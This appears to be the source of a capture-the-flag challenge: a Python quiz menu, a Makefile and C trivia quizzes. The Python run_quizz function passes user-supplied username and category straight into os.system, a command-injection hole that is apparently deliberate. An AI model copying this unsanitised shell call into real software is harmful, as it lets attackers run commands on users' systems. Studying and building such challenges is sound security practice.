def run_quizz(username, category):
command = f"make run quizz=\"{prefix + category}\" username=\"{username}\""
os.system(command)
def play():
username = get_user_string(gui.username)
category = get_user_string(gui.category)
run_quizz(username, category)
# TODO: improve and combine categories scores
def scoreboard():
scores = {}
for line in open(results, 'r').readlines():
k = line.split(' ')[0]
v = int(line.strip().split(',')[-1][:-1])
scores[k] = v
scores = sorted(scores.items(), reverse=True, key=lambda item: item[1])
print(gui.scoreboard_head)
for i, r in enumerate(scores):
print(f" {i+1}. {r[0]}\t{r[1]}")
print(gui.scoreboard_tail)
def main():
while True:
try:
choice = menu()
if choice == 1:
play()
elif choice == 2:
scoreboard()
except Exception:
exit()
if __name__ == '__main__':
main()

View File

@ -0,0 +1,13 @@
CC = gcc
CFLAGS = -x c -w
ifeq ($(findstring .,$(quizz)),)
override quizz:=$(quizz).c
endif
run: build
@./run "$(username)"
build:
@$(CC) $(CFLAGS) "$(quizz)" -o run

View File

@ -0,0 +1,51 @@
#include "quizz.h"
/******************
* Constants
******************/
const int LEN = 6;
const char *QUESTIONS[] = {
"What's the total word count of the Lord of The Ring trilogy?\n 1) 579459 \n 2) 545799\n 3) 799545\n",
"Allegedly, what is written on the Hell's door\n 1) My name is Olaf and I love warm hugs.\n 2) Lasciate ogne speranza, voi ch'intrate.\n 3) Brace yourself, summer is coming.\n",
"Who was the most productive writer during COVID?\n 1) Brandon Sanderson\n 2) George R.R. Martin\n 3) Your doctor\n",
"Who is also known as Space Messiah?\n 1) Neil Armstrong\n 2) Yoda\n 3) Muad'Dib\n",
"Who swims across the universe with exactly four elephants on the back?\n 1) No one\n 2) A'Tuin\n 3) The earth\n",
"What are the last two words of many books and this category?\n 1) Have fun\n 2) Well done\n 3) The end\n",
};
const int SOLUTIONS[] = { 1, 1, 1, 1, 1, 1, };
/******************
* Main
******************/
int main(int argc, char* argv[]) {
setvbuf(stdout, NULL, _IONBF, 0);
FILE *file;
file = fopen(scores_file, "a");
fprintf(file,"%s = {", argv[1]);
int answer;
int score = 0;
for (int i = 0; i < LEN; i++) {
printf("%s\n", QUESTIONS[i]);
printf("Your answer: ");
scanf("%d", &answer);
if (answer == SOLUTIONS[i]) {
score++;
printf("Correct!\n\n");
} else {
printf("False!\n\n");
}
fprintf(file, "%d,", answer);
}
fprintf(file, "%d}\n", score);
fclose(file);
}

View File

@ -0,0 +1,10 @@
#include "quizz.h"
/******************
* Main
******************/
int main(int argc, char* argv[]) {
setvbuf(stdout, NULL, _IONBF, 0);
printf("\nTODO: come up with some funny questions about CTFs.\n");
}

View File

@ -0,0 +1,57 @@
#include "quizz.h"
/******************
* Constants
******************/
const int LEN = 12;
const char *QUESTIONS[] = {
"Hippopotomonstrosesquipedaliophobia is the fear of what?\n 1) Hippos\n 2) Long words\n 3) Huge buildings\n",
"Of what was made the first hockey puck ever used?\n 1) Cow dung\n 2) Stone\n 3) Ice\n",
"What is the correct answer to the next question?\n 1) 2\n 2) 3\n 3) 1\n",
"What is the correct answer to this question?\n 1) 1\n 2) 2\n 3) 3\n",
"What was the correct answer to the previous question?\n 1) 3\n 2) 1\n 3) 2\n",
"How many liters of pee does an average cow produce in one day?\n 1) Ventordici\n 2) Jason's favorite number\n 3) A few drops.\n",
"What are the most organized objects\n 1) Shoes \n 2) Closets\n 3) Levers\n",
"The fear of constipation is known as?\n 1) Chlamydia\n 2) Coprastastaphobia\n 3) Chikungunya\n",
"Which country consumes the most (and produces the best) chocolate in the world?\n 1) Switzerland\n",
"What is the most stolen food in the world?\n 1) Chocolate\n 2) Bread\n 3) Cheese\n",
"Golfing is:\n 1) A sport\n 2) The beautiful art of shortening your SHELLCODE\n",
"Did you like this category?\n 1) Hell yeah!\n",
};
const int SOLUTIONS[] = { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, };
/******************
* Main
******************/
int main(int argc, char* argv[]) {
setvbuf(stdout, NULL, _IONBF, 0);
FILE *file;
file = fopen(scores_file, "a");
fprintf(file,"%s = {", argv[1]);
int answer;
int score = 0;
for (int i = 0; i < LEN; i++) {
printf("%s\n", QUESTIONS[i]);
printf("Your answer: ");
scanf("%d", &answer);
if (answer == SOLUTIONS[i]) {
score++;
printf("Correct!\n\n");
} else {
printf("False!\n\n");
}
fprintf(file, "%d,", answer);
}
fprintf(file, "%d}\n", score);
fclose(file);
}

View File

View File

@ -0,0 +1,3 @@
#include "stdio.h"
const char *scores_file = "pts.txt";

8
2024/inso/terminal/run.sh Executable file
View File

@ -0,0 +1,8 @@
#!/bin/sh
export PATH
cp /app/tmp/* /app/quizzes
cd /app/quizzes
python3 -B ../main.py